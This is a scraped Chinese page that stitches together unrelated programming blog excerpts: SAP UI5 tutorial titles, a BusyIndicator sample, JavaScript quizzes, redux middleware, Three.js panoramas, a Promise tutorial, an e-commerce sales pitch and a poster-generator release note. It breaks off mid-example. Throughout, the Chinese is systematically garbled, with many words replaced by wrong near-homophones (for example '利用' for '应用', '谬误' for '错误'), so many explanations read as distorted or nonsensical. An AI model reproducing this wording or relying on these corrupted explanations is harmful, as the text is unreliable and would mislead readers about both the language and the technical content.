字符串类型输出字段的校验逻辑SAP UI5 利用开发教程之四十八 - 如何在 SAP UI5 利用里开发条形码扫描性能SAP UI5 利用开发教程之四十九 - 如何在桌面电脑端调试运行在手机上的 SAP UI5 利用SAP UI5 利用开发教程之五十 - 如何应用 Cordova 将 SAP UI5 利用生成一个能在 Android 手机上安装的混合利用SAP UI5 利用开发教程之五十一 - 如何应用 Chrome 调试运行在手机上的 SAP UI5 Cordova 混合利用SAP UI5 利用开发教程之五十二 - 如何应用 SAP UI5 的规范控件联合 Cordova 插件调用手机摄像头进行条形码扫描SAP UI5 利用开发教程之五十三 - 如何自定义 SAP UI5 数据类型(Data Type)SAP UI5 利用开发教程之五十四 - 如何将本地 SAP UI5 利用配置到本地 Fiori Launchpad 中SAP UI5 利用开发教程之五十五 - 如何将本地 SAP UI5 利用通过 Node.js Express 部署到公网上SAP UI5 利用开发教程之五十六 - SAP UI5 树控件(tree)的开发SAP UI5 利用开发教程之五十七 - 基于 OData 注解的 Smart Field 应用办法学习SAP UI5 利用开发教程之五十八 - 应用工厂办法在运行时动态创建不同类型的列表行我的项目控件SAP UI5 利用开发教程之五十九 - 如何在 SAP UI5 利用里显示世界地图SAP UI5 利用开发教程之六十 - SAP UI5 地图控件的一些高级用法SAP UI5 利用开发教程之六十一 - 在 SAP UI5 利用里绘制甘特图 Gantt ChartSAP UI5 利用开发教程之六十二 - 基于 OData V4 的 SAP UI5 表格控件应用办法介绍SAP UI5 利用开发教程之六十三 - 基于 OData V4 的本地 Mock Server 实现的深刻介绍SAP UI5 利用开发教程之六十四 - 基于 OData V4 的 SAP UI5 表格控件如何实现 filter(过滤) 和 sort(排序)性能SAP UI5 利用开发教程之六十五 - 基于 OData V4 的 SAP UI5 表格控件如何实现创立，编辑和保留性能SAP UI5 利用开发教程之六十六 - 基于 OData V4 的 SAP UI5 表格控件如何实现删除性能SAP UI5 利用开发教程之六十七 - 基于 OData V4 的 SAP UI5 List-Detail(列表-明细)布局的实现形式SAP UI5 利用开发教程之六十八 - 如何实现 SAP UI5 路由失败时显示自定义的 NOT Found 页面SAP UI5 利用开发教程之六十九 - 如何从 SAP UI5 Not Found 页面跳转回到失常的利用页面SAP UI5 利用开发教程之七十 - 如何应用按钮控件触发页面路由跳转SAP UI5 利用开发教程之七十一 - SAP UI5 页面的嵌套路由SAP UI5 利用开发教程之七十二 - SAP UI5 页面路由的动画成果设置SAP UI5 利用开发教程之七十三 - 应用自定义 Query 实现 SAP UI5 页面路由的书签性能SAP UI5 利用开发教程之七十四 - SAP UI5 利用应用 OData V4 显示 Table 表格数据的一个陷阱SAP UI5 利用开发教程之七十五 - 如何采纳SAP UI5 主从表格的联动技术显示简单表格内容SAP UI5 利用开发教程之七十六 - 如何实现 SAP UI5 的 Lazy Loading(提早加载，懒加载)SAP UI5 利用开发教程之七十七 - SAP UI5 动静页面路由的高级用法：路由记录 routes 和 target 的一对多关系SAP UI5 利用开发教程之七十八 - 如何通过 url 放弃 SAP UI5 搜寻的状态，让其反对书签性能SAP UI5 利用开发教程之七十九 - 采纳测试驱动开发理念(Test Driven Development)进行 SAP UI5 利用的性能开发(一)SAP UI5 利用开发教程之八十 - 采纳测试驱动开发理念(Test Driven Development)进行 SAP UI5 利用的性能开发(二)SAP UI5 利用开发教程之八十一 - 采纳 OPA5 进行 SAP UI5 集成测试(Integration Test)的一个例子SAP UI5 利用开发教程之八十二 - 采纳 OPA5 开发反对页面跳转的 SAP UI5 集成测试用例SAP UI5 利用开发教程之八十三 - SAP UI5 的自动化测试套件页面的开发步骤介绍SAP UI5 利用开发教程之八十四 - 如何指定 SAP UI5 应用程序基于某个特定的版本运行SAP UI5 利用开发教程之八十五 - 如何用 OPA5 编写测试用例来测试用户输出文本的性能SAP UI5 利用开发教程之八十六 - 入手开发一个最简略的本地 Mock 数据服务器SAP UI5 利用开发教程之八十七 - 如何让 SAP UI5 Mock 服务器反对自定义 url 参数SAP UI5 利用开发教程之八十八 - SAP UI5 Mock 服务器如何实现自定义 Function ImportSAP UI5 利用开发教程之八十九 - 如何给 SAP UI5 列表控件削减多个图形界面的过滤器SAP UI5 利用开发教程之九十 - 基于 OData V2 的 SAP UI5 List-Detail(列表-明细)布局的实现形式SAP UI5 利用开发教程之九十一 - 如何应用客户端 JSON 模型构建一个 Master-Detail-Detail 布局中的列表页面SAP UI5 利用开发教程之九十二 - 基于 SAP UI5 JSONModel 客户端模型的列表分页显示(Table Pagination)前提SAP UI5 利用开发教程之九十三 - 基于 JSONModel 数据模型的列表控件显示数据的深刻探讨SAP UI5 利用开发教程之九十四 - 基于 JSONModel 数据模型的 SAP UI5 列表控件分页显示数据的残缺解决方案SAP UI5 利用开发教程之九十五 - SAP UI5 下拉菜单(Select) 控件的应用形式SAP UI5 利用开发教程之九十六 - SAP UI5 列表控件分页显示数据时，如何自定义分页大小SAP UI5 利用开发教程之九十七 - 如何应用客户端 JSON 模型构建一个 Master-Detail-Detail 布局中的明细页面SAP UI5 利用开发教程之九十八 - 从 viewId 这个属性谈起，聊聊 SAP UI5 的 HTML 源代码生成机制SAP UI5 利用开发教程之九十九 - 深入探讨 SAP UI5 本地开发环境里的 package.json 和 ui5.yamlSAP UI5 利用开发教程之一百 - 如何批改 SAP UI5 框架的源代码实现，以及应用本地部署的 SAP UI5 SDKSAP UI5 利用开发教程之一百零一 - SAP UI5 利用的 Locale 决定机制SAP UI5 利用开发教程之一百零二 - SAP UI5 利用的打印(Print)性能实现详解SAP UI5 利用开发教程之一百零三 - 如何在 SAP UI5 利用中生产第三方库SAP UI5 利用开发教程之一百零四 - SAP UI5 表格控件的反对复选(Multi-Select)以及如何用代码一次选中多个表格行我的项目SAP UI5 利用开发教程之一百零五 - SAP UI5 Master-Detail 布局模式的联动成果实现明细介绍SAP UI5 利用开发教程之一百零六 - 如何进步 SAP UI5 利用路由 url 的可读性SAP UI5 利用开发教程之一百零七 - SAP UI5 OverflowToolbar 容器控件以及 resize 事件处理的一些细节介绍SAP UI5 利用开发教程之一百零八 - SAP UI5 图片显示控件 Avatar 的应用形式介绍SAP UI5 利用开发教程之一百零九 - 应用 SAP UI5 FileUploader 控件上传本地文件SAP UI5 利用开发教程之一百一十 - SAP UI5 FileUploader 控件深刻介绍 - 为什么须要一个暗藏的 iframeSAP UI5 利用开发教程之一百一十一 - SAP UI5 FileUploader 控件实现本地文件上传，接管服务器端的响应时遇到跨域拜访谬误SAP UI5 利用开发教程之一百一十二 - 应用自开发的代理服务器解决 SAP UI5 FileUploader 上传文件时遇到的跨域拜访谬误SAP UI5 利用开发教程之一百一十三 - 授人以渔 - 如何自行查问任意 SAP UI5 控件属性的文档和技术实现细节SAP UI5 利用开发教程之一百一十四 - 如何通过单步调试的形式找到引起 Fiori Launchpad 路由谬误的起因SAP UI5 利用开发教程之一百一十五 - 对于将本地 SAP UI5 利用配置到本地 Fiori Launchpad 的技术实现深刻解说SAP UI5 利用开发教程之一百一十六 - 在 SAPGUI 里应用 ABAP 报表上传 SAP UI5 利用到 ABAP 服务器SAP UI5 利用开发教程之一百一十七 - 本地开发好的 SAP UI5 利用部署到 ABAP 服务器时，中文字符变成乱码的起因剖析和解决方案SAP UI5 利用开发教程之一百一十八 - 如何剖析因为 SAP UI5 版本差别带来的问题SAP UI5 利用开发教程之一百一十九 - 对于 SAP UI5 Container 控件 aggregation 的深入分析SAP UI5 利用开发教程之一百二十 - 如何依据 SAP UI5 框架代码抛出的谬误音讯，反查出是哪一行代码引起的谬误音讯SAP UI5 利用开发教程之一百二十一 - 一键部署开箱即用的代理服务器，解决 SAP UI5 利用开发过程中拜访远端 OData 服务的跨域问题SAP UI5 利用开发教程之一百二十二 - 在 SAP UI5 利用中应用浏览器原生的 Fetch API 发动网络申请SAP UI5 利用开发教程之一百二十三 - 应用 Busy Dialog 动画阻止 SAP UI5 利用按钮短时间内疾速被点击SAP UI5 利用开发教程之一百二十四 - 正在写作中......阐明Jerry 从 2014 年退出 SAP成都研究院 CRM Fiori 开发团队之后开始接触 SAP UI5，已经在 SAP 社区和“汪子熙”微信公众号上发表过多篇对于 SAP UI5 工作原理和源码解析的文章。 ...

这个 SAP UI5 控件的命名控件：sap.m.BusyIndicator Busy Indicator 示意正在进行某些操作并且用户必须期待。 它不会阻塞以后的 UI 屏幕，因而能够并行触发其余操作。 这个控件提醒用户，以后利用的后盾正在执行某种操作。 开发人员能够设置图标的大小、文本，还能够定义一个自定义图标来代替应用。 Busy Indicator 的应用场景： 用户须要可能勾销操作。只有局部应用程序或特定控件受到影响。Busy Indicator 不太适应的场合： 某种操作不到一秒钟即可实现，此时不须要应用 Busy Indicator须要阻止屏幕并阻止用户启动另一个流动。 在这种状况下，请应用 Busy Dialog.请勿更改鼠标光标的形状来提醒用户以后正在执行某种操作，这不合乎 SAP Fiori 应用标准不要一次显示多个 Busy Dialog看一个例子： 实现源代码： <mvc:View xmlns:l="sap.ui.layout" xmlns:mvc="sap.ui.core.mvc" xmlns="sap.m"> <l:VerticalLayout class="sapUiContentPadding" width="100%"> <BusyIndicator text="... something is happening" class="sapUiTinyMarginBottom" /> <HBox justifyContent="Start" alignItems="Center"> <BusyIndicator size="3em" /> </HBox> <BusyIndicator size="1.6rem" class="sapUiMediumMarginBegin" /> </l:VerticalLayout></mvc:View>manifest.json 文件的内容： { "sap.app": { "id": "sap.m.sample.BusyIndicator", "applicationVersion": { "version": "1.0.0" } }, "sap.ui5": { "rootView": { "viewName": "sap.m.sample.BusyIndicator.V", "type": "XML", "async": true }, "dependencies": { "libs": { "sap.ui.core": {}, "sap.m": {}, "sap.ui.layout": {} } }, "config": { "sample": { "stretch": true, "files": [ "V.view.xml", "manifest.json" ] } } }}值得一提的结构函数参数customIconDensityAware：如果设置为 false，src 图像将间接加载，而不尝试为高密度设施获取密度完满图像。 默认状况下，此设置为 true，但随后会向服务器发送一个或多个申请，以尝试获取指定图像的密度完满版本。 如果带宽是应用程序的要害，则将此值设置为 false.customIconRotationSpeed: 定义给定图像的旋转速度。 如果应用 .gif，则必须将速度设置为 0。单位为 ms。留神：当大于或等于 0 时，值被认为是无效的。如果提供了有效值，则速度默认为 0。

代理模式1 定义为其余对象提供一种代理以管制对这个对象的拜访在某些状况下，一个对象不适宜或者不能间接援用另一个对象，而代理对象能够在客户端和指标对象之间起到中介的作用。 2 利用举例2.1 缓存代理当初咱们有一个能够查问城市经纬度的函数： const getLatLng = (address) => { if (address === "Beijing") { return "北京经纬度"; } else if (address === "Hangzhou") { return "杭州经纬度"; } else if (address === "Shanghai") { return "上海经纬度"; } else if (address === "Nanjing") { return "南京经纬度"; } else { return ""; }};如果咱们屡次查问南京的经纬度，每次都要通过 4 次判断，咱们通过 getLatLngProxy 函数将查问后果缓存下来，从而防止多次重复判断 const getLatLngProxy = ((fn) => { const geoCache = {}; return (address) => { console.log("缓存=" + geoCache[address]); return (geoCache[address] ??= fn(address)); };})(getLatLng);getLatLngProxy("Nanjing"); // 缓存=undefinedgetLatLngProxy("Nanjing"); // 缓存=南京经纬度4 次判断看不出什么，然而如果 getLatLng 中的操作不是判断，而是须要很简单的计算，须要耗费很长时间，这时缓存的劣势就很显著了 ...

现今“互联网+电商”的疾速倒退与收缩的年代里，智能设施与手机，APP、微信公众号、小程序、社交平台等数据流量暴增，互联网数据流量市场的蛋糕越来越大，每个企业或商家都想争得一份数据流量市场的蛋糕，来扩大公司的销售渠道，减少企业的销售业绩。 在传统的营销形式略显疲态，而互联网特地是挪动互联网的疾速倒退，逐步替换掉了传统销售渠道成为了企业或商家的业绩增长引擎。在此局势下，越来越多的网上商城零碎也受到了企业商家的青眼。有很多敌人肯定比拟相熟商城网站，平时咱们看到的商场网站当初都已演变成了商城平台，而每个商城网站在开发与建设之前都利用到了一套网上商城零碎。那么，咱们应该怎么设计与实现1个网上商城零碎呢？需要性能是什么？ 一、要实现搭建1个网上商城零碎次要有以下几种形式： 1）购买1个市场已有成熟的商城系统软件要购买商城系统软件 ，首先你要明确本人的需要与业务逻辑是什么，再依据性能和业务需要去在线体验商城零碎是否合乎本人的需要。如果须要一些个性化的性能，那么能够在商城零碎根本进行定制开发。这形式兼顾了企业的老本与个性化需要，能够让企业商家疾速的搭建1个真正属于本人的网上商城零碎。 2）在第三方平台申请开店在第三方平台开店，如：淘宝、天猫、京东、拼多多等。长处是搭建的速度十分快，后期的老本绝对也是比拟低的。但因为它们的商家和端口数量的宏大，所有商品和店铺的同质化十分重大，竞争也是十分强烈的，如果不投入广告根本是不会有流量的，局限性也是非常明显的。因为是第三方平台，当然是会受到平台规定的制约，其次是没有自主权，不利于企业的长期倒退，无奈自主可控。 3）本人组建团队开发此形式就是本人招兵买马，组建本人的技术开发团队。当然，所有与我的项目无关的事件都须要本人来做。长处是网上商城零碎齐全能够依据本人的业务需要进行开发。毛病也是非常明显的，这形式对人才的储备是十分高的，而且须要的是业余电商开发者，开发成本很高，开发周期会比拟长，这样就造成了十分多的不可控因素，危险比拟大。 4）找业余电商团队开发首先，你必须找到1个十分业余，有丰盛电商软件开发教训的开发商，曾经有本人的成熟产品在销售的开发商。你能够通过体验厂商的产品，就能够评估出开发商的技术实力与教训积攒。有本人成熟的商城零碎产品的话，就能够在此基础上进行定制开发，这样不仅能够保障开发的品质，开发周期也能够大大缩短，还能实现客户的个性化的需要，在售后保护过程中也不必放心，这形式性价比是比拟高的。 二、网上商城零碎需要剖析 网上商城零碎的作为1个网上交易零碎，有很多模块、性能、业务逻辑都是根底必须有的如：：商品类目零碎，商品规格零碎，交易订单零碎，店铺收单收银零碎，售后零碎，结算零碎，抽成零碎，店铺零碎，商品零碎，库存零碎，运费计算零碎，财务零碎，领取零碎，多种营销零碎，礼品，赠品，优惠券，积分领取，全网用户分成零碎，推广会员分润零碎，会员推广商品分润零碎，会员推广店铺商家分润零碎等等。每1个零碎都有本人的业务逻辑机制，每1个零碎都是互相强关联。 OctShop商城零碎需要剖析导图与各零碎的关系如下图：

fastposter v2.9.2 程序员必备海报生成器 fastposter海报生成器是一款疾速开发海报的工具。只需上传一张背景图，在对应的地位放上组件（文字、图片、二维、头像）即可生成海报。 点击代码间接生成各种语言的调用代码，不便疾速开发。现已服务泛滥电商类项⽬，多个项⽬有50W+⽤户，通过多年⽣产环境的考验，稳固牢靠。广泛应用于各类电商、分销零碎、电商海报、电商主图等海报生成和制作场景。社区版 v2.9.2 公布 降级requests_cache==0.9.6降级tornado==6.2代码整顿 专业版 v2.0.12 公布 通过参数解决图片，反对scale缩放减少独立二维码生成接口批量生成，更改fp_batch表的字段rows -> raw (适配数据库)java版本减少postgres数据库反对依赖版本升级Pillow==9.2.0requests==2.28.1requests_cache==0.9.6 相干地址 开发文档：https://poster.prodapi.cn/doc/在线演示：https://poster.prodapi.cn/专业版Python在线演示：https://poster.prodapi.cn/pro/专业版Java在线演示：https://poster.prodapi.cn/pro... 只需三步，即可实现海报开发一、启动服务docker run -it --name fast-poster -p 5000:5000 tangweixin/fast-poster二、编辑海报 三、生成代码 申请示例（可间接传递须要的参数）curl --location --request POST 'https://poster.prodapi.cn/api...' \--header 'Content-Type: application/json' \--header 'token: ApfrIzxCoK1DwNZOEJCwlrnv6QZ0PCdv' \--data-raw '{ "title": "人工智能+机器学习", "id": 2}'响应示例（返回海报的拜访地址）{ "code": 0,"msg": "success","data": { "url": "https://poster.prodapi.cn/v/90295c118d4c8802"}}实用场景： 海报生成器海报主动生成工具海报在线设计生成器海报生成器在线制作生成朋友圈海报电商海报编辑器证书制作证书主动生成工具Python Pillow绘图 Pillow制作海报电商主图编辑器Java生成分享海报图片微信小程序生成海报分享朋友圈PHP生成海报图片自定义商业海报图片H5生成海报图片canvas生成海报图片通过JSON生成海报图片BufferdImage绘制图片

上一篇咱们聊到，如果要实现组件的跨端复用，那么必然就要复用逻辑层。回过头来，扫视过来几年前端的倒退，咱们能够看出，因为Vue,React框架等的衰亡，前端越发重View层，根本都是以视图组件为主，围绕用户交互的纬度组织代码。比方上面这个组件： const calendar = (props) => { const [state, setState] = React.useState(props) return( <div onClick={()=> setState()}> {state} </div> )}它有本人的View和数据处理逻辑(state+props),这一块的数据怎么解决，取决于View层用户怎么交互，须要什么数据。这在大部分场景下都能施展很好的作用，然而针对咱们目前的多端业务场景，要么每端都独立写各自的逻辑(没有复用，效率太低)，要么复用公共逻辑(公共逻辑外面须要各种判断环境，而后应用对应平台api，很繁琐)比方会有以下代码： // 充斥各种环境判断const fetch = () => { if(isRn) return Rnfetch; if(isH5) return h5Fetch; ...}于是，咱们能够把注意力移到逻辑解决这一块来。将model层作为外围，不关怀对接的是哪一端: 这样一来，对于model的能力失去加强，View层就只是简略的从Model层获取state以及扭转state的函数。其次针对不同平台的api，如下面的fetch，那么就能够通过注入的形式解决 // model.tsxconst wrapModel = ({fetch})=()=> { const getUserInfo = ()=>{ fetch(url,{xxx}) } const useActions = ()=>{ getUserInfo }}// rn page.tsxconst model = wrapModel({fetch: rnFetch})const Page = ()=> { const { getUserInfo } = model.useActions(); return xxxx;}咱们能够看出，这样一来，既做到了最大水平组件复用，又能防止繁琐的的环境判断 ...

Three.js系列: 在元宇宙看电影，享受 VR 视觉盛宴Three.js系列: 造个陆地球池来学习物理引擎Three.js系列: 游戏中的第一、三人称视角Three.js系列: 数实现全景图VR的几种形式（panorama/cubemap/eac）本篇是 Three.js 系列的第四篇内容，想看其余内容能够看上方☝️，明天就给大家来介绍介绍全景图相干的常识，咱们晓得因为最近疫情的影响，大家都没方法出门，很多全景的我的项目火了，比方各个驰名的风景区都凋谢了VR。 除此之外，VR 设施也是十分的炽热，在我国 2022年上半年，VR市场销售额冲破了 8亿元，同比增长了 81% 而在国外呢，截至 2022 年 Q1 ，曾经卖出了1480万台！ 因为咱们学习制作 VR 技术就是趁势而为，毕竟雷布斯说过，“站在风口上，猪都能够飞起来”。 接下来我就谈谈目前展现次要有几种模式。目前展现 VR 次要有 3种 支流形式，别离为 建模 、建模 + 全景图 和 全景图 建模建模+全景图全景图代表作品VR游戏贝壳系列看房一般云旅行、云旅行体验极好好中等咱们来理论体验一下他们的差别 以上为 VR游戏《雇佣兵士》的体验，视角切换十分的晦涩，且场景十分的大，玩过3D类型游戏的敌人就能明确。这种场景都是通过建模来实现，利用 blender、3D Max、maya 等建模软件，再应用Unity、UE 等游戏开发平台，各种成果能够说十分的好。 而到了贝壳这种呢，则是通过建模加上全景图两种形式联合应用，模型和全景图是通过线下采集失去，然而对于这种看房页面，要在 Web 上渲染精密的模型资源耗费是微小的，因而他们采取了一个折中的计划，就是毛糙模型 + 全景图，通过模型来补间场景切换的渐变感，变动过程中显著能感触的掉帧的感觉。尽管成果不如纯手动建模来的精密，然而总的来说体验也十分不错了。 最初这种云旅行，则是间接通过两张全景图间接切换失去的，这种形式最为简略，当然成果远远后面两种，然而单张图片的全景视角比起动态的图片而言，也是减少了空间感。 用表格总结起来就是以下： 建模建模+全景图全景图代表作品VR游戏《雇佣兵士》贝壳系列看房一般云旅行、云旅行实现难度很难难简略过渡成果极度实在好个别模型Blender、3D Max、maya带有光学传感相机一般360相机因为全景图是通过一个个点位拍摄而失去的。因而它无奈领有地位信息，也就是各个点位的依赖关系，因而当在切换场景的时候，咱们无奈失去沉迷式的过渡成果；而贝壳则是通过利用了模型的补间来改善过渡；VR游戏《雇佣兵士》则是纯手动建模，因而成果十分好。 明天咱们次要解说的就是全景图模式(因为它比较简单)，当然也不是设想中那么简略，只是相比前两种形式而言，难度是降落了一个坡度，毕竟学习都是从趣味开始的，一开始来个高难度的，几乎就是劝退了。 首先咱们先来理解一些前置常识，目前支流全景图都有什么格局？ 我翻阅总结后目前最罕用的大概为以下三种 等距柱状投影格局（Equirectangular）等角度立方体贴图格局（Equi-Angular Cubemap）立方体贴图（Cube Map )等距柱状投影也就是最常见的世界地图的投影形式，做法是将经线和纬线等距地（或有疏密地）投影到一个矩形立体上。 这种格局的长处是比拟直观，并且投影是矩形的。毛病也很显著，球体的高低两极投影进去的像素数很多，而细节内容比拟丰盛的赤道区域相比来说像素数就很少，导致还原时清晰度比拟蹩脚。另外，这种格局的画面在未渲染的状况下扭曲比拟显著。 立方体贴图是另一种全景画面的贮存格局，做法是将球体上的内容向外投影到一个立方体上，而后开展，而它比照等距柱状投影的劣势是，在雷同分辨率下，它的图片体积更小，约为 等距柱状投影 的 1/3 ...

每日 3 题7 以下代码执行后，控制台中的输入内容为？const obj = { flag: false,};function A() { this.flag = true; return obj;}const a = new A();console.log(a.flag);8 以下代码执行后，控制台中的输入内容为？console.log(1);setTimeout(() => { console.log(2);}, 0);console.log(3);Promise.resolve(4).then((b) => { console.log(b);});console.log(5);9 以下代码执行后，控制台中的输入内容为？var a = 10;function a() {}console.log(typeof a);答案及解析7 答案：false考查 new 运算符如果构造函数显式返回了一个对象，那么该对象会笼罩 new 创立的对象于是变量 a 指向 obj，因而 a.flag 即为 obj.flag8 答案：1 3 5 4 2考查事件循环、微工作、宏工作浏览器中事件循环如下图所示 整体代码作为第 1 个宏工作先按程序执行同步工作，因而输入：1 3 5，并将微工作和宏工作入队，此处微工作为 then 办法，宏工作为 setTimeout判断有无微工作，有 then 执行，所以输入 4浏览器渲染完进入下一个循环，宏工作队列中有 setTimeout，执行输入 29 答案：number考查变量晋升和函数申明晋升var 申明的变量和 function 都会晋升，且函数优先级高于变量，原代码相当于：function a() {}var a;a = 10;console.log(typeof a);并且变量不会反复申明，于是 a = 10 赋值给了本来指向函数的变量 a，最终 a 的类型变成 number

双指针解“链表”题也太香了叭！同步双指针1 查找链表中倒数第 k 个节点剑指Offer22.链表中倒数第k个节点 思路： 假如链表的长度为n，不难得出倒数第k个节点即为整数第n + 1 - k。如果一个指针从头节点开始走k步（头节点算作第1步），则还需n + 1 - k步能力走完链表（达到尾节点的next，即 null）。咱们用双指针，一个指针先走k步，而后两个指针同时走n + 1 - k步，其中一个指针走完链表，另一个指针走到第n + 1 - k个节点处，即倒数第k个节点代码 JS /** * Definition for singly-linked list. * function ListNode(val) { * this.val = val; * this.next = null; * } *//** * @param {ListNode} head * @param {number} k * @return {ListNode} */var getKthFromEnd = function (head, k) { let p1 = head; // 留神此处 i < k - 1，因为 p1 赋值时算作第 1 步 for (let i = 0; i < k - 1; i++) { p1 = p1.next; } let p2 = head; p1 = p1.next; // 同理 p2 赋值算作第 1 步，所以 p1 也要走 1 步 while (p1) { p1 = p1.next; p2 = p2.next; } return p2;};// 工夫复杂度 O(n) n为链表长度// 空间复杂度 O(1)TS ...

每日 3 题1 以下代码执行后，控制台中的输入内容为？var foo = function bar() { return 123;};console.log(typeof foo);console.log(typeof foo());console.log(typeof bar());2 以下代码执行后，控制台中的输入内容为？var obj = { a: 1, foo: function () { return this.a; },};var fun = obj.foo;console.log(obj.foo());console.log(fun());3 以下代码执行后，控制台中的输入内容为？function A(x) { this.x = x;}function B(x) { this.x = x;}A.prototype.x = 1;B.prototype = new A();var a = new A(2);var b = new B(3);delete b.x;console.log(a.x);console.log(b.x);解析1、答案：function number 报错解析： 这是一个命名函数表达式，被函数表达式赋值的变量类型为function，故typeof foo 为 functionfoo 调用后返回 123，故类型为 number无关命名函数表达式，MDN 文档中是这么形容的：命名函数表达式（Named function expression）如果你想在函数体外部援用以后函数，则须要创立一个命名函数表达式。而后函数名称将会（且只会）作为函数体（作用域内）的本地变量命名函数表达式的函数名只在其函数体内无效 所以在内部调用 bar() 会报错 ...

1 以下代码执行后，控制台中的输入内容为？for (let i = 0; i < 3; i++) { setTimeout(() => { console.log(i); });}for (var j = 0; j < 3; j++) { setTimeout(() => { console.log(j); });}2 以下代码执行后，控制台中的输入内容为？if (!("a" in window)) { var a = 1;}if (!("b" in window)) { let b = 1;}console.log(window);console.log(a);console.log(b);3 以下代码执行后，控制台中的输入内容为？function fn() { var i = 0; return function () { console.log(i++); };}var f1 = fn();var f2 = fn();f1();f1();f2();1、答案：0 1 2 3 3 3解析：var 申明的变量没有块级作用域，在 for 循环中应用 var 申明迭代变量 j 会导致所有 setTimeout 中应用的 j 指向同一个变量，而 setTimeout 属于宏工作，执行的机会在失常工作队列之后，即此处 for 循环退出之后开始执行，此时迭代变量保留的是导致循环退出的值 3，因而所有 setTimeout 的回调函数都会输入 3 ...

redux源码解析之中间件了解中间件简略来说，中间件就是对store 的dispatch办法进行包装扩大。它在 dispatch action 和达到 reducer 的那一刻之间提供了逻辑插入点。能够应用 Redux 中间件进行日志记录、异样监控、与异步 API 对话、路由等。具体能够见官网文档 Middleware 中间件 | Redux 中武官网 具体实现在redux中常见的中间件写法为 function middleWare({ getState,dispatch }) { return next => action => { // xxx return next(action) }}咱们能够看到这里屡次应用到高阶函数，看起来很简单，上面咱们来对他进行逐渐的解析。为了不便标记，我这里将箭头函数，改成函数申明的模式 function middleWare1({ getState, dispatch }) { return function nextHandle1(next) { return function actionHandle1(action) { //xxx return next(action) } }}上面就开始解说middleware nextHandle actionHandle的具体应用场景 applyMiddleware首先从入口讲起，常见的应用中间件的形式如下const store = createStore(reducer, applyMiddleware([thunk, logger]));能够看出，咱们是通过applyMiddleware办法将中间件办法包了一层。那么对应的applyMiddleware办法中解决中间件的流程为： export default function applyMiddleware( ...middlewares: Middleware[]) {// 省略局部代码 const middlewareAPI: MiddlewareAPI = { getState: store.getState, dispatch: (action, ...args) => dispatch(action, ...args) } // 调用middleware办法，并传参 const chain = middlewares.map(middleware => middleware(middlewareAPI))// 外围逻辑 将函数按序组合 compose(a, b, c)(dispatch) => a(b(c(dispatch))) dispatch = compose<typeof dispatch>(...chain)(store.dispatch) return { ...store, dispatch }}//简化compose函数实现export default function compose(...funcs: Function[]) { return funcs.reduce(function(preFnA, itemFnB){ return function (...args) { return preFnA(itemFnB(...args)); } });}通过下面两行外围代码middlewares.map以及dispatch = compose(xxx)，咱们能够剖析失去middlewares本质上是在对原有的dispatch进行改写增强。对应的咱们之前写的middleWare1函数在此处被调用，那么就成了 ...

ES6 Promise 对象 - 闪电教程JSRUN 概述Promise 是异步编程的一种解决方案，比传统的解决方案——回调函数和事件——更正当和更弱小。它由社区最早提出和实现，ES6将其写进了语言规范，对立了用法，原生提供了Promise对象。 所谓Promise，简略说就是一个容器，外面保留着某个将来才会完结的事件（通常是一个异步操作）的后果。从语法上说，Promise 是一个对象，从它能够获取异步操作的音讯。Promise 提供对立的 API，各种异步操作都能够用同样的办法进行解决。 Promise对象有以下两个特点。 （1）对象的状态不受外界影响。Promise对象代表一个异步操作，有三种状态：Pending（进行中）、Resolved（已实现，又称 Fulfilled）和Rejected（已失败）。只有异步操作的后果，能够决定以后是哪一种状态，任何其余操作都无奈扭转这个状态。这也是Promise这个名字的由来，它的英语意思就是“承诺”，示意其余伎俩无奈扭转。 （2）一旦状态扭转，就不会再变，任何时候都能够失去这个后果。Promise对象的状态扭转，只有两种可能：从Pending变为Resolved和从Pending变为Rejected。只有这两种状况产生，状态就凝固了，不会再变了，会始终放弃这个后果。如果扭转曾经产生了，你再对Promise对象增加回调函数，也会立刻失去这个后果。这与事件（Event）齐全不同，事件的特点是，如果你错过了它，再去监听，是得不到后果的。 有了Promise对象，就能够将异步操作以同步操作的流程表达出来，防止了层层嵌套的回调函数。此外，Promise对象提供对立的接口，使得管制异步操作更加容易。 Promise也有一些毛病。首先，无奈勾销Promise，一旦新建它就会立刻执行，无奈中途勾销。其次，如果不设置回调函数，Promise外部抛出的谬误，不会反馈到内部。第三，当处于Pending状态时，无奈得悉目前停顿到哪一个阶段（刚刚开始还是行将实现）。 如果某些事件一直地重复产生，一般来说，应用 stream 模式是比部署Promise更好的抉择。 根本应用ES6规定，Promise对象是一个构造函数，用来生成Promise实例。 上面代码发明了一个Promise实例。 var promise = new Promise(function(resolve, reject) { // ... some code if (/* 异步操作胜利 */){ resolve(value); } else { reject(error); }});Promise构造函数承受一个函数作为参数，该函数的两个参数别离是resolve和reject。 resolve函数的作用是，将Promise对象的状态从“未实现”变为“胜利”（即从Pending变为Resolved），在异步操作胜利时调用，并将异步操作的后果，作为参数传递进来；reject函数的作用是，将Promise对象的状态从“未实现”变为“失败”（即从Pending变为Rejected），在异步操作失败时调用，并将异步操作报出的谬误，作为参数传递进来。 Promise实例生成当前，能够用then办法别离指定Resolved状态和Reject状态的回调函数。 promise.then(function(value) { // success}, function(error) { // failure});then办法能够承受两个回调函数作为参数。第一个回调函数是Promise对象的状态变为Resolved时调用，第二个回调函数是Promise对象的状态变为Reject时调用。其中，第二个函数是可选的，不肯定要提供。这两个函数都承受Promise对象传出的值作为参数。 上面是一个Promise对象的简略例子。 function timeout(ms) { return new Promise((resolve, reject) => { setTimeout(resolve, ms, 'done'); });}timeout(100).then((value) => { console.log(value);});下面代码中，timeout办法返回一个Promise实例，示意一段时间当前才会产生的后果。过了指定的工夫（ms参数）当前，Promise实例的状态变为Resolved，就会触发then办法绑定的回调函数。 ...

call，apply，bind三个办法都是用来扭转this指向的call与appl会立即调用函数，bind不会立即调用函数，而是把一个函数作为返回值返回 一：call()函数，第一个参数为this行将指向的对象，第二个是可能要传的参数举个栗子 let obj1 = { name:"Jimmy", age:15, sayHi(){ console.log("Nice to meet you,my name is "+this.name) }, eat(food,drink){ console.log(this.name+" like eat "+food+" "+drink) }}let obj2 = { name:"Harry", age:16 }obj1.sayHi.call(obj2)//Nice to meet you,my name is Harryobj1.eat.call(obj2,"pizza","cola")//Harry like eat pizza colasayHi()办法的this，通过call指向了obj2eat()办法的this，通过call指向了obj2，并且传递了两个参数"pizza"，"cola" 二：apply函数，和call简直截然不同，只需把"pizza","cola"两个参数以数组模式传递即可 obj1.eat.apply(obj2,["pizza","cola"])//Harry like eat pizza cola三: bind()函数，和call也是简直截然不同，不同的是，bind会返回一个函数，才能够应用 let fun = 